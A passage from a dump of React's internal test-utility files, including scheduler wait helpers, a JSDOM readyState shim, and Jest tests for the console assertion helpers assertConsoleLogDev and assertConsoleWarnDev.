work, to get a better\n  // stack trace.\n  const error = new Error();\n  Error.captureStackTrace(error, unstable_waitForExpired);\n\n  // Wait until end of current task/microtask.\n  await waitForMicrotasks();\n  SchedulerMock.unstable_flushExpired();\n\n  const actualLog = SchedulerMock.unstable_clearLog();\n  if (equals(actualLog, expectedLog)) {\n    return;\n  }\n\n  error.message = `\nExpected sequence of events did not occur.\n\n${diff(expectedLog, actualLog)}\n`;\n  throw error;\n}\n\n// TODO: This name is a bit misleading currently because it will stop as soon as\n// React yields for any reason, not just for a paint. I've left it this way for\n// now because that's how untable_flushUntilNextPaint already worked, but maybe\n// we should split these use cases into separate APIs.\nexport async function waitForPaint(expectedLog) {\n  assertYieldsWereCleared(waitForPaint);\n\n  // Create the error object before doing any async work, to get a better\n  // stack trace.\n  const error = new Error();\n  Error.captureStackTrace(error, waitForPaint);\n\n  // Wait until end of current task/microtask.\n  await waitForMicrotasks();\n  if (SchedulerMock.unstable_hasPendingWork()) {\n    // Flush until React yields.\n    SchedulerMock.unstable_flushUntilNextPaint();\n    // Wait one more microtask to flush any remaining synchronous work.\n    await waitForMicrotasks();\n  }\n\n  const actualLog = SchedulerMock.unstable_clearLog();\n  if (equals(actualLog, expectedLog)) {\n    return;\n  }\n\n  error.message = `\nExpected sequence of events did not occur.\n\n${diff(expectedLog, actualLog)}\n`;\n  throw error;\n}\n\nexport async function waitForDiscrete(expectedLog) {\n  assertYieldsWereCleared(waitForDiscrete);\n\n  // Create the error object before doing any async work, to get a better\n  // stack trace.\n  const error = new Error();\n  Error.captureStackTrace(error, waitForDiscrete);\n\n  // Wait until end of current task/microtask.\n  await waitForMicrotasks();\n\n  const actualLog = SchedulerMock.unstable_clearLog();\n  if (equals(actualLog, expectedLog)) {\n    return;\n  }\n\n  error.message = `\nExpected sequence of events did not occur.\n\n${diff(expectedLog, actualLog)}\n`;\n  throw error;\n}\n\nexport function assertLog(expectedLog) {\n  const actualLog = SchedulerMock.unstable_clearLog();\n  if (equals(actualLog, expectedLog)) {\n    return;\n  }\n\n  const error = new Error(`\nExpected sequence of events did not occur.\n\n${diff(expectedLog, actualLog)}\n`);\n  Error.captureStackTrace(error, assertLog);\n  throw error;\n}\n\nexport const assertConsoleLogDev = createLogAssertion(\n  'log',\n  'assertConsoleLogDev',\n  clearLogs,\n);\nexport const assertConsoleWarnDev = createLogAssertion(\n  'warn',\n  'assertConsoleWarnDev',\n  clearWarnings,\n);\nexport const assertConsoleErrorDev = createLogAssertion(\n  'error',\n  'assertConsoleErrorDev',\n  clearErrors,\n);\n\n// Simulates dispatching events, waiting for microtasks in between.\n// This matches the browser behavior, which will flush microtasks\n// between each event handler. This will allow discrete events to\n// flush between events across different event handlers.\nexport async function simulateEventDispatch(\n  node: Node,\n  eventType: string,\n): Promise<void> {\n  // Ensure the node is in the document.\n  for (let current = node; current; current = current.parentNode) {\n    if (current === document) {\n      break;\n    } else if (current.parentNode == null) {\n      return;\n    }\n  }\n\n  const customEvent = new Event(eventType, {\n    bubbles: true,\n  });\n\n  Object.defineProperty(customEvent, 'target', {\n    // Override the target to the node on which we dispatched the event.\n    value: node,\n  });\n\n  const impl = Object.getOwnPropertySymbols(node)[0];\n  const oldDispatch = node[impl].dispatchEvent;\n  try {\n    node[impl].dispatchEvent = simulateBrowserEventDispatch;\n\n    await node.dispatchEvent(customEvent);\n  } finally {\n    node[impl].dispatchEvent = oldDispatch;\n  }\n}\n"
  },
  {
    "path": "packages/internal-test-utils/ReactJSDOM.js",
    "content": "const JSDOMModule = jest.requireActual('jsdom');\n\nconst OriginalJSDOM = JSDOMModule.JSDOM;\n\nmodule.exports = JSDOMModule;\nmodule.exports.JSDOM = function JSDOM() {\n  let result;\n  if (new.target) {\n    result = Reflect.construct(OriginalJSDOM, arguments);\n  } else {\n    result = JSDOM.apply(undefined, arguments);\n  }\n\n  require('./ReactJSDOMUtils').setupDocumentReadyState(\n    result.window.document,\n    result.window.Event,\n  );\n\n  return result;\n};\n"
  },
  {
    "path": "packages/internal-test-utils/ReactJSDOMUtils.js",
    "content": "export function setupDocumentReadyState(\n  document: Document,\n  Event: typeof Event,\n) {\n  let readyState: 0 | 1 | 2 = 0;\n  Object.defineProperty(document, 'readyState', {\n    get() {\n      switch (readyState) {\n        case 0:\n          return 'loading';\n        case 1:\n          return 'interactive';\n        case 2:\n          return 'complete';\n      }\n    },\n    set(value) {\n      if (value === 'interactive' && readyState < 1) {\n        readyState = 1;\n        document.dispatchEvent(new Event('readystatechange'));\n      } else if (value === 'complete' && readyState < 2) {\n        readyState = 2;\n        document.dispatchEvent(new Event('readystatechange'));\n        document.dispatchEvent(new Event('DOMContentLoaded'));\n      } else if (value === 'loading') {\n        // We allow resetting the readyState to loading mostly for pragamtism.\n        // tests that use this environment don't reset the document between tests.\n        readyState = 0;\n      }\n    },\n    configurable: true,\n  });\n}\n"
  },
  {
    "path": "packages/internal-test-utils/__tests__/ReactInternalTestUtils-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n * @jest-environment node\n */\n\n'use strict';\n\nconst React = require('react');\nconst stripAnsi = require('strip-ansi');\nconst {startTransition, useDeferredValue} = React;\nconst ReactNoop = require('react-noop-renderer');\nconst {\n  waitFor,\n  waitForAll,\n  waitForPaint,\n  waitForThrow,\n  assertLog,\n} = require('internal-test-utils');\nconst act = require('internal-test-utils').act;\nconst Scheduler = require('scheduler/unstable_mock');\nconst {\n  assertConsoleLogsCleared,\n  resetAllUnexpectedConsoleCalls,\n  patchConsoleMethods,\n} = require('../consoleMock');\nconst {\n  assertConsoleLogDev,\n  assertConsoleWarnDev,\n  assertConsoleErrorDev,\n} = require('../ReactInternalTestUtils');\n\ndescribe('ReactInternalTestUtils', () => {\n  it('waitFor', async () => {\n    const Yield = ({id}) => {\n      Scheduler.log(id);\n      return id;\n    };\n\n    const root = ReactNoop.createRoot();\n    startTransition(() => {\n      root.render(\n        <div>\n          <Yield id=\"foo\" />\n          <Yield id=\"bar\" />\n          <Yield id=\"baz\" />\n        </div>\n      );\n    });\n\n    await waitFor(['foo', 'bar']);\n    expect(root).toMatchRenderedOutput(null);\n    await waitFor(['baz']);\n    expect(root).toMatchRenderedOutput(null);\n    await waitForAll([]);\n    expect(root).toMatchRenderedOutput(<div>foobarbaz</div>);\n  });\n\n  it('waitForAll', async () => {\n    const Yield = ({id}) => {\n      Scheduler.log(id);\n      return id;\n    };\n\n    const root = ReactNoop.createRoot();\n    startTransition(() => {\n      root.render(\n        <div>\n          <Yield id=\"foo\" />\n          <Yield id=\"bar\" />\n          <Yield id=\"baz\" />\n        </div>\n      );\n    });\n\n    await waitForAll(['foo', 'bar', 'baz']);\n    expect(root).toMatchRenderedOutput(<div>foobarbaz</div>);\n  });\n\n  it('waitForThrow', async () => {\n    const Yield = ({id}) => {\n      Scheduler.log(id);\n      return id;\n    };\n\n    function BadRender() {\n      throw new Error('Oh no!');\n    }\n\n    function App() {\n      return (\n        <div>\n          <Yield id=\"A\" />\n          <Yield id=\"B\" />\n          <BadRender />\n          <Yield id=\"C\" />\n          <Yield id=\"D\" />\n        </div>\n      );\n    }\n\n    const root = ReactNoop.createRoot();\n    root.render(<App />);\n\n    await waitForThrow('Oh no!');\n    assertLog([\n      'A',\n      'B',\n      // React will try one more time before giving up.\n      'A',\n      'B',\n    ]);\n  });\n\n  it('waitForPaint', async () => {\n    function App({prop}) {\n      const deferred = useDeferredValue(prop);\n      const text = `Urgent: ${prop}, Deferred: ${deferred}`;\n      Scheduler.log(text);\n      return text;\n    }\n\n    const root = ReactNoop.createRoot();\n    root.render(<App prop=\"A\" />);\n\n    await waitForAll(['Urgent: A, Deferred: A']);\n    expect(root).toMatchRenderedOutput('Urgent: A, Deferred: A');\n\n    // This update will result in two separate paints: an urgent one, and a\n    // deferred one.\n    root.render(<App prop=\"B\" />);\n    // Urgent paint\n    await waitForPaint(['Urgent: B, Deferred: A']);\n    expect(root).toMatchRenderedOutput('Urgent: B, Deferred: A');\n\n    // Deferred paint\n    await waitForPaint(['Urgent: B, Deferred: B']);\n    expect(root).toMatchRenderedOutput('Urgent: B, Deferred: B');\n  });\n\n  it('assertLog', async () => {\n    const Yield = ({id}) => {\n      Scheduler.log(id);\n      React.useEffect(() => {\n        Scheduler.log(`create effect ${id}`);\n        return () => {\n          Scheduler.log(`cleanup effect ${id}`);\n        };\n      });\n      return id;\n    };\n\n    function App() {\n      return (\n        <div>\n          <Yield id=\"A\" />\n          <Yield id=\"B\" />\n          <Yield id=\"C\" />\n        </div>\n      );\n    }\n\n    const root = ReactNoop.createRoot();\n    await act(() => {\n      root.render(\n        <React.StrictMode>\n          <App />\n        </React.StrictMode>\n      );\n    });\n    assertLog([\n      'A',\n      'B',\n      'C',\n      'create effect A',\n      'create effect B',\n      'create effect C',\n    ]);\n\n    await act(() => {\n      root.render(null);\n    });\n\n    assertLog(['cleanup effect A', 'cleanup effect B', 'cleanup effect C']);\n  });\n});\n\ndescribe('ReactInternalTestUtils console mocks', () => {\n  beforeEach(() => {\n    jest.resetAllMocks();\n    patchConsoleMethods({includeLog: true});\n  });\n\n  afterEach(() => {\n    resetAllUnexpectedConsoleCalls();\n    jest.resetAllMocks();\n  });\n\n  describe('console.log', () => {\n    it('should fail if not asserted', () => {\n      expect(() => {\n        console.log('hit');\n        assertConsoleLogsCleared();\n      }).toThrow(`console.log was called without assertConsoleLogDev`);\n    });\n\n    it('should not fail if mocked with spyOnDev', () => {\n      spyOnDev(console, 'log').mockImplementation(() => {});\n      expect(() => {\n        if (__DEV__) {\n          console.log('hit');\n        }\n        assertConsoleLogsCleared();\n      }).not.toThrow();\n    });\n\n    // @gate !__DEV__\n    it('should not fail if mocked with spyOnProd', () => {\n      spyOnProd(console, 'log').mockImplementation(() => {});\n      expect(() => {\n        console.log('hit');\n        assertConsoleLogsCleared();\n      }).not.toThrow();\n    });\n\n    it('should not fail if mocked with spyOnDevAndProd', () => {\n      spyOnDevAndProd(console, 'log').mockImplementation(() => {});\n      expect(() => {\n        console.log('hit');\n        assertConsoleLogsCleared();\n      }).not.toThrow();\n    });\n  });\n\n  describe('console.warn', () => {\n    it('should fail if not asserted', () => {\n      expect(() => {\n        console.warn('hit');\n        assertConsoleLogsCleared();\n      }).toThrow('console.warn was called without assertConsoleWarnDev');\n    });\n\n    it('should not fail if mocked with spyOnDev', () => {\n      spyOnDev(console, 'warn').mockImplementation(() => {});\n      expect(() => {\n        if (__DEV__) {\n          console.warn('hit');\n        }\n        assertConsoleLogsCleared();\n      }).not.toThrow();\n    });\n\n    // @gate !__DEV__\n    it('should not fail if mocked with spyOnProd', () => {\n      spyOnProd(console, 'warn').mockImplementation(() => {});\n      expect(() => {\n        console.warn('hit');\n        assertConsoleLogsCleared();\n      }).not.toThrow();\n    });\n\n    it('should not fail if mocked with spyOnDevAndProd', () => {\n      spyOnDevAndProd(console, 'warn').mockImplementation(() => {});\n      expect(() => {\n        console.warn('hit');\n        assertConsoleLogsCleared();\n      }).not.toThrow();\n    });\n  });\n\n  describe('console.error', () => {\n    it('should fail if console.error is not asserted', () => {\n      expect(() => {\n        console.error('hit');\n        assertConsoleLogsCleared();\n      }).toThrow('console.error was called without assertConsoleErrorDev');\n    });\n\n    it('should not fail if mocked with spyOnDev', () => {\n      spyOnDev(console, 'error').mockImplementation(() => {});\n      expect(() => {\n        if (__DEV__) {\n          console.error('hit');\n        }\n        assertConsoleLogsCleared();\n      }).not.toThrow();\n    });\n\n    // @gate !__DEV__\n    it('should not fail if mocked with spyOnProd', () => {\n      spyOnProd(console, 'error').mockImplementation(() => {});\n      expect(() => {\n        console.error('hit');\n        assertConsoleLogsCleared();\n      }).not.toThrow();\n    });\n\n    it('should not fail if mocked with spyOnDevAndProd', () => {\n      spyOnDevAndProd(console, 'error').mockImplementation(() => {});\n      expect(() => {\n        console.error('hit');\n        assertConsoleLogsCleared();\n      }).not.toThrow();\n    });\n  });\n});\n\n// Helper method to capture assertion failure.\nconst expectToThrowFailure = expectBlock => {\n  let caughtError;\n  try {\n    expectBlock();\n  } catch (error) {\n    caughtError = error;\n  }\n  expect(caughtError).toBeDefined();\n  return stripAnsi(caughtError.message);\n};\n\n// Helper method to capture assertion failure with act.\nconst awaitExpectToThrowFailure = async expectBlock => {\n  let caughtError;\n  try {\n    await expectBlock();\n  } catch (error) {\n    caughtError = error;\n  }\n  expect(caughtError).toBeDefined();\n  return stripAnsi(caughtError.message);\n};\n\ndescribe('ReactInternalTestUtils console assertions', () => {\n  beforeAll(() => {\n    patchConsoleMethods({includeLog: true});\n  });\n\n  describe('assertConsoleLogDev', () => {\n    it('passes for a single log', () => {\n      if (__DEV__) {\n        console.log('Hello');\n      }\n      assertConsoleLogDev(['Hello']);\n    });\n\n    it('passes for multiple logs', () => {\n      if (__DEV__) {\n        console.log('Hello');\n        console.log('Good day');\n        console.log('Bye');\n      }\n      assertConsoleLogDev(['Hello', 'Good day', 'Bye']);\n    });\n\n    it('fails if act is called without assertConsoleLogDev', async () => {\n      const Yield = ({id}) => {\n        console.log(id);\n        return id;\n      };\n\n      function App() {\n        return (\n          <div>\n            <Yield id=\"A\" />\n            <Yield id=\"B\" />\n            <Yield id=\"C\" />\n          </div>\n        );\n      }\n\n      const root = ReactNoop.createRoot();\n      await act(() => {\n        root.render(<App />);\n      });\n      const message = await awaitExpectToThrowFailure(async () => {\n        await act(() => {\n          root.render(<App />);\n        });\n      });\n\n      expect(message).toMatchInlineSnapshot(`\n        \"asserConsoleLogsCleared(expected)\n\n        console.log was called without assertConsoleLogDev:\n        + A\n        + B\n        + C\n\n        You must call one of the assertConsoleDev helpers between each act call.\"\n      `);\n    });\n\n    // @gate __DEV__\n    it('fails if first expected log is not included', () => {\n      const message = expectToThrowFailure(() => {\n        console.log('Wow');\n        console.log('Bye');\n        assertConsoleLogDev(['Hi', 'Wow', 'Bye']);\n      });\n      expect(message).toMatchInlineSnapshot(`\n        \"assertConsoleLogDev(expected)\n\n        Unexpected log(s) recorded.\n\n        - Expected logs\n        + Received logs\n\n        - Hi\n          Wow\n          Bye\"\n      `);\n    });\n\n    // @gate __DEV__\n    it('fails if middle expected log is not included', () => {\n      const message = expectToThrowFailure(() => {\n        console.log('Hi');\n        console.log('Bye');\n        assertConsoleLogDev(['Hi', 'Wow', 'Bye']);\n      });\n      expect(message).toMatchInlineSnapshot(`\n        \"assertConsoleLogDev(expected)\n\n        Unexpected log(s) recorded.\n\n        - Expected logs\n        + Received logs\n\n          Hi\n        - Wow\n          Bye\"\n      `);\n    });\n\n    // @gate __DEV__\n    it('fails if last expected log is not included', () => {\n      const message = expectToThrowFailure(() => {\n        console.log('Hi');\n        console.log('Wow');\n        assertConsoleLogDev(['Hi', 'Wow', 'Bye']);\n      });\n      expect(message).toMatchInlineSnapshot(`\n        \"assertConsoleLogDev(expected)\n\n        Expected log was not recorded.\n\n        - Expected logs\n        + Received logs\n\n          Hi\n          Wow\n        - Bye\"\n      `);\n    });\n\n    // @gate __DEV__\n    it('fails if first received log is not included', () => {\n      const message = expectToThrowFailure(() => {\n        console.log('Hi');\n        console.log('Wow');\n        console.log('Bye');\n        assertConsoleLogDev(['Wow', 'Bye']);\n      });\n      expect(message).toMatchInlineSnapshot(`\n        \"assertConsoleLogDev(expected)\n\n        Unexpected log(s) recorded.\n\n        - Expected logs\n        + Received logs\n\n        + Hi\n          Wow\n          Bye\"\n      `);\n    });\n\n    // @gate __DEV__\n    it('fails if middle received log is not included', () => {\n      const message = expectToThrowFailure(() => {\n        console.log('Hi');\n        console.log('Wow');\n        console.log('Bye');\n        assertConsoleLogDev(['Hi', 'Bye']);\n      });\n      expect(message).toMatchInlineSnapshot(`\n        \"assertConsoleLogDev(expected)\n\n        Unexpected log(s) recorded.\n\n        - Expected logs\n        + Received logs\n\n          Hi\n        + Wow\n          Bye\"\n      `);\n    });\n\n    // @gate __DEV__\n    it('fails if last received log is not included', () => {\n      const message = expectToThrowFailure(() => {\n        console.log('Hi');\n        console.log('Wow');\n        console.log('Bye');\n        assertConsoleLogDev(['Hi', 'Wow']);\n      });\n      expect(message).toMatchInlineSnapshot(`\n        \"assertConsoleLogDev(expected)\n\n        Unexpected log(s) recorded.\n\n        - Expected logs\n        + Received logs\n\n          Hi\n          Wow\n        + Bye\"\n      `);\n    });\n\n    // @gate __DEV__\n    it('fails if both expected and received mismatch', () => {\n      const message = expectToThrowFailure(() => {\n        console.log('Hi');\n        console.log('Wow');\n        console.log('Bye');\n        assertConsoleLogDev(['Hi', 'Wow', 'Yikes']);\n      });\n      expect(message).toMatchInlineSnapshot(`\n        \"assertConsoleLogDev(expected)\n\n        Unexpected log(s) recorded.\n\n        - Expected logs\n        + Received logs\n\n          Hi\n          Wow\n        - Yikes\n        + Bye\"\n      `);\n    });\n\n    // @gate __DEV__\n    it('fails if both expected and received mismatch with multiple lines', () => {\n      const message = expectToThrowFailure(() => {\n        console.log('Hi\\nFoo');\n        console.log('Wow\\nBar');\n        console.log('Bye\\nBaz');\n        assertConsoleLogDev(['Hi\\nFoo', 'Wow\\nBar', 'Yikes\\nFaz']);\n      });\n      expect(message).toMatchInlineSnapshot(`\n        \"assertConsoleLogDev(expected)\n\n        Unexpected log(s) recorded.\n\n        - Expected logs\n        + Received logs\n\n          Hi Foo\n          Wow Bar\n        - Yikes Faz\n        + Bye Baz\"\n      `);\n    });\n\n    // @gate __DEV__\n    it('fails if the args is greater than %s argument number', () => {\n      const message = expectToThrowFailure(() => {\n        console.log('Hi %s', 'Sara', 'extra');\n        assertConsoleLogDev(['Hi']);\n      });\n      expect(message).toMatchInlineSnapshot(`\n        \"assertConsoleLogDev(expected)\n\n        Received 2 arguments for a message with 1 placeholders:\n          \"Hi %s\"\"\n      `);\n    });\n\n    // @gate __DEV__\n    it('fails if the args is greater than %s argument number for multiple logs', () => {\n      const message = expectToThrowFailure(() => {\n        console.log('Hi %s', 'Sara', 'extra');\n        console.log('Bye %s', 'Sara', 'extra');\n        assertConsoleLogDev(['Hi', 'Bye']);\n      });\n      expect(message).toMatchInlineSnapshot(`\n        \"assertConsoleLogDev(expected)\n\n        Received 2 arguments for a message with 1 placeholders:\n          \"Hi %s\"\n\n        Received 2 arguments for a message with 1 placeholders:\n          \"Bye %s\"\"\n      `);\n    });\n\n    // @gate __DEV__\n    it('fails if the %s argument number is greater than args', () => {\n      const message = expectToThrowFailure(() => {\n        console.log('Hi %s');\n        assertConsoleLogDev(['Hi']);\n      });\n      expect(message).toMatchInlineSnapshot(`\n        \"assertConsoleLogDev(expected)\n\n        Received 0 arguments for a message with 1 placeholders:\n          \"Hi %s\"\"\n      `);\n    });\n\n    // @gate __DEV__\n    it('fails if the %s argument number is greater than args for multiple logs', () => {\n      const message = expectToThrowFailure(() => {\n        console.log('Hi %s');\n        console.log('Bye %s');\n        assertConsoleLogDev(['Hi', 'Bye']);\n      });\n      expect(message).toMatchInlineSnapshot(`\n        \"assertConsoleLogDev(expected)\n\n        Received 0 arguments for a message with 1 placeholders:\n          \"Hi %s\"\n\n        Received 0 arguments for a message with 1 placeholders:\n          \"Bye %s\"\"\n      `);\n    });\n\n    // @gate __DEV__\n    it('fails if first arg is not an array', () => {\n      const message = expectToThrowFailure(() => {\n        console.log('Hi');\n        console.log('Bye');\n        assertConsoleLogDev('Hi', 'Bye');\n      });\n      expect(message).toMatchInlineSnapshot(`\n        \"assertConsoleLogDev(expected)\n\n        Expected messages should be an array of strings but was given type \"string\".\"\n      `);\n\n      assertConsoleLogDev(['Hi', 'Bye']);\n    });\n\n    it('should fail if waitFor is called before asserting', async () => {\n      const Yield = ({id}) => {\n        Scheduler.log(id);\n        return id;\n      };\n\n      const root = ReactNoop.createRoot();\n      startTransition(() => {\n        root.render(\n          <div>\n            <Yield id=\"foo\" />\n            <Yield id=\"bar\" />\n            <Yield id=\"baz\" />\n          </div>\n        );\n      });\n\n      console.log('Not asserted');\n\n      const message = await awaitExpectToThrowFailure(async () => {\n        await waitFor(['foo', 'bar']);\n      });\n      expect(message).toMatchInlineSnapshot(`\n        \"asserConsoleLogsCleared(expected)\n\n        console.log was called without assertConsoleLogDev:\n        + Not asserted\n\n        You must call one of the assertConsoleDev helpers between each act call.\"\n      `);\n\n      await waitForAll(['foo', 'bar', 'baz']);\n    });\n\n    it('should fail if waitForThrow is called before asserting', async () => {\n      const Yield = ({id}) => {\n        Scheduler.log(id);\n        return id;\n      };\n\n      function BadRender() {\n        throw new Error('Oh no!');\n      }\n\n      function App() {\n        return (\n          <div>\n            <Yield id=\"A\" />\n            <Yield id=\"B\" />\n            <BadRender />\n            <Yield id=\"C\" />\n            <Yield id=\"D\" />\n          </div>\n        );\n      }\n\n      const root = ReactNoop.createRoot();\n      root.render(<App />);\n\n      console.log('Not asserted');\n\n      const message = await awaitExpectToThrowFailure(async () => {\n        await waitForThrow('Oh no!');\n      });\n      expect(message).toMatchInlineSnapshot(`\n        \"asserConsoleLogsCleared(expected)\n\n        console.log was called without assertConsoleLogDev:\n        + Not asserted\n\n        You must call one of the assertConsoleDev helpers between each act call.\"\n      `);\n\n      await waitForAll(['A', 'B', 'A', 'B']);\n    });\n\n    it('should fail if waitForPaint is called before asserting', async () => {\n      function App({prop}) {\n        const deferred = useDeferredValue(prop);\n        const text = `Urgent: ${prop}, Deferred: ${deferred}`;\n        Scheduler.log(text);\n        return text;\n      }\n\n      const root = ReactNoop.createRoot();\n      root.render(<App prop=\"A\" />);\n\n      await waitForAll(['Urgent: A, Deferred: A']);\n      expect(root).toMatchRenderedOutput('Urgent: A, Deferred: A');\n\n      // This update will result in two separate paints: an urgent one, and a\n      // deferred one.\n      root.render(<App prop=\"B\" />);\n\n      console.log('Not asserted');\n      const message = await awaitExpectToThrowFailure(async () => {\n        await waitForPaint(['Urgent: B, Deferred: A']);\n      });\n\n      expect(message).toMatchInlineSnapshot(`\n        \"asserConsoleLogsCleared(expected)\n\n        console.log was called without assertConsoleLogDev:\n        + Not asserted\n\n        You must call one of the assertConsoleDev helpers between each act call.\"\n      `);\n\n      await waitForAll(['Urgent: B, Deferred: A', 'Urgent: B, Deferred: B']);\n    });\n\n    it('should fail if waitForAll is called before asserting', async () => {\n      const Yield = ({id}) => {\n        Scheduler.log(id);\n        return id;\n      };\n\n      const root = ReactNoop.createRoot();\n      startTransition(() => {\n        root.render(\n          <div>\n            <Yield id=\"foo\" />\n            <Yield id=\"bar\" />\n            <Yield id=\"baz\" />\n          </div>\n        );\n      });\n\n      console.log('Not asserted');\n\n      const message = await awaitExpectToThrowFailure(async () => {\n        await waitForAll(['foo', 'bar', 'baz']);\n      });\n      expect(message).toMatchInlineSnapshot(`\n        \"asserConsoleLogsCleared(expected)\n\n        console.log was called without assertConsoleLogDev:\n        + Not asserted\n\n        You must call one of the assertConsoleDev helpers between each act call.\"\n      `);\n\n      await waitForAll(['foo', 'bar', 'baz']);\n    });\n    it('should fail if toMatchRenderedOutput is called before asserting', async () => {\n      const Yield = ({id}) => {\n        Scheduler.log(id);\n        console.log('Not asserted');\n        return id;\n      };\n\n      const root = ReactNoop.createRoot();\n      startTransition(() => {\n        root.render(\n          <div>\n            <Yield id=\"foo\" />\n            <Yield id=\"bar\" />\n            <Yield id=\"baz\" />\n          </div>\n        );\n      });\n\n      assertLog([]);\n\n      await waitForAll(['foo', 'bar', 'baz']);\n      const message = expectToThrowFailure(() => {\n        expect(root).toMatchRenderedOutput(<div>foobarbaz</div>);\n      });\n      if (!__DEV__) {\n        expect(message).toMatchInlineSnapshot(`\n          \"asserConsoleLogsCleared(expected)\n\n          console.log was called without assertConsoleLogDev:\n          + Not asserted\n          + Not asserted\n          + Not asserted\n\n          You must call one of the assertConsoleDev helpers between each act call.\"\n        `);\n      } else {\n        expect(message).toMatchInlineSnapshot(`\n          \"asserConsoleLogsCleared(expected)\n\n          console.log was called without assertConsoleLogDev:\n          + Not asserted\n          + Not asserted\n          + Not asserted\n\n          You must call one of the assertConsoleDev helpers between each act call.\"\n        `);\n      }\n\n      expect(root).toMatchRenderedOutput(<div>foobarbaz</div>);\n    });\n  });\n\n  describe('assertConsoleWarnDev', () => {\n    it('passes if an warning contains a stack', () => {\n      if (__DEV__) {\n        console.warn('Hello\\n    in div');\n      }\n      assertConsoleWarnDev(['Hello\\n    in div']);\n    });\n\n    it('passes if all warnings contain a stack', () => {\n      if (__DEV__) {\n        console.warn('Hello\\n    in div');\n        console.warn('Good day\\n    in div');\n        console.warn('Bye\\n    in div');\n      }\n      assertConsoleWarnDev([\n        'Hello\\n    in div',\n        'Good day\\n    in div',\n        'Bye\\n    in div',\n      ]);\n    });\n\n    it('fails if act is called without assertConsoleWarnDev', async () => {\n      const Yield = ({id}) => {\n        console.warn(id);\n        return id;\n      };\n\n      function App() {\n        return (\n          <div>\n            <Yield id=\"A\" />\n            <Yield id=\"B\" />\n            <Yield id=\"C\" />\n          </div>\n        );\n      }\n\n      const root = ReactNoop.createRoot();\n      await act(() => {\n        root.render(<App />);\n      });\n      const message = await awaitExpectToThrowFailure(async () => {\n        await act(() => {\n          root.render(<App />);\n        });\n      });\n\n      if (!__DEV__) {\n        expect(message).toMatchInlineSnapshot(`\n          \"asserConsoleLogsCleared(expected)\n\n          console.warn was called without assertConsoleWarnDev:\n          + A\n          + B\n          + C\n\n          You must call one of the assertConsoleDev helpers between each act call.\"\n        `);\n      } else {\n        expect(message).toMatchInlineSnapshot(`\n          \"asserConsoleLogsCleared(expected)\n\n          console.warn was called without assertConsoleWarnDev:\n          + A%s,\n          +     in App (at **)\n          + B%s,\n          +     in App (at **)\n          + C%s,\n          +     in App (at **)\n\n          You must call one of the assertConsoleDev helpers between each act call.\"\n        `);\n      }\n    });\n\n    it('fails if act is called without any assertConsoleDev helpers', async () => {\n      const Yield = ({id}) => {\n        console.log(id);\n        console.warn(id);\n        console.error(id);\n        return id;\n      };\n\n      function App() {\n        return (\n          <div>\n            <Yield id=\"A\" />\n            <Yield id=\"B\" />\n            <Yield id=\"C\" />\n          </div>\n        );\n      }\n\n      const root = ReactNoop.createRoot();\n      await act(() => {\n        root.render(<App />);\n      });\n      const message = await awaitExpectToThrowFailure(async () => {\n        await act(() => {\n          root.render(<App />);\n        });\n      });\n\n      if (!__DEV__) {\n        expect(message).toMatchInlineSnapshot(`\n          \"asserConsoleLogsCleared(expected)\n\n          console.log was called without assertConsoleLogDev:\n          + A\n          + B\n          + C\n\n          console.warn was called without assertConsoleWarnDev:\n          + A\n          + B\n          + C\n\n          console.error was called without assertConsoleErrorDev:\n          + A\n          + B\n          + C\n\n          You must call one of the assertConsoleDev helpers between each act call.\"\n        `);\n      } else {\n        expect(message).toMatchInlineSnapshot(`\n          \"asserConsoleLogsCleared(expected)\n\n          console.log was called without assertConsoleLogDev:\n          + A\n          + B\n          + C\n\n          console.warn was called without assertConsoleWarnDev:\n          + A%s,\n          +     in App (at **)\n          + B%s,\n          +     in App (at **)\n          + C%s,\n          +     in App (at **)\n\n          console.error was called without assertConsoleErrorDev:\n          + A%s,\n          +     in App (at **)\n          + B%s,\n          +     in App (at **)\n          + C%s,\n          +     in App (at **)\n\n          You must call one of the assertConsoleDev helpers between each act call.\"\n        `);\n      }\n    });\n\n    // @gate __DEV__\n    it('fails if first expected warning is not included', () => {\n      const message = expectToThrowFailure(() => {\n        console.warn('Wow \\n    in div');\n        console.warn('Bye \\n    in div');\n        assertConsoleWarnDev(['Hi', 'Wow', 'Bye']);\n      });\n      expect(message).toMatchInlineSnapshot(`\n        \"assertConsoleWarnDev(expected)\n\n        Unexpected warning(s) recorded.\n\n        - Expected warnings\n        + Received warnings\n\n        - Hi\n        - Wow\n        - Bye\n        + Wow      in div (at **)\n        + Bye      in div (at **)\"\n      `);\n    });\n\n    // @gate __DEV__\n    it('fails if middle expected warning is not included', () => {\n      const message = expectToThrowFailure(() => {\n        console.warn('Hi \\n    in div');\n        console.warn('Bye \\n    in div');\n        assertConsoleWarnDev(['Hi', 'Wow', 'Bye']);\n      });\n      expect(message).toMatchInlineSnapshot(`\n        \"assertConsoleWarnDev(expected)\n\n        Unexpected warning(s) recorded.\n\n        - Expected warnings\n        + Received warnings\n\n        - Hi\n        - Wow\n        - Bye\n        + Hi      in div (at **)\n        + Bye      in div (at **)\"\n      `);\n    });\n\n    // @gate __DEV__\n    it('fails if last expected warning is not included', () => {\n      const message = expectToThrowFailure(() => {\n        console.warn('Hi \\n    in div');\n        console.warn('Wow \\n    in div');\n        assertConsoleWarnDev([\n          'Hi \\n    in div',\n          'Wow \\n    in div',\n          'Bye \\n    in div',\n        ]);\n      });\n      expect(message).toMatchInlineSnapshot(`\n        \"assertConsoleWarnDev(expected)\n\n        Expected warning was not recorded.\n\n        - Expected warnings\n        + Received warnings\n\n        - Hi      in div\n        - Wow      in div\n        - Bye      in div\n        + Hi      in div (at **)\n        + Wow      in div (at **)\"\n      `);\n    });\n\n    // @gate __DEV__\n    it('fails if first received warning is not included', () => {\n      const message = expectToThrowFailure(() => {\n        console.warn('Hi \\n    in div');\n        console.warn('Wow \\n    in div');\n        console.warn('Bye \\n    in div');\n        assertConsoleWarnDev(['Wow', 'Bye']);\n      });\n      expect(message).toMatchInlineSnapshot(`\n        \"assertConsoleWarnDev(expected)\n\n        Unexpected warning(s) recorded.\n\n        - Expected warnings\n        + Received warnings\n\n        - Wow\n        - Bye\n        + Hi      in div (at **)\n        + Wow      in div (at **)\n        + Bye      in div (at **)\"\n      `);\n    });\n\n    // @gate __DEV__\n    it('fails if middle received warning is not included', () => {\n      const message = expectToThrowFailure(() => {\n        console.warn('Hi \\n    in div');\n        console.warn('Wow \\n    in div');\n        console.warn('Bye 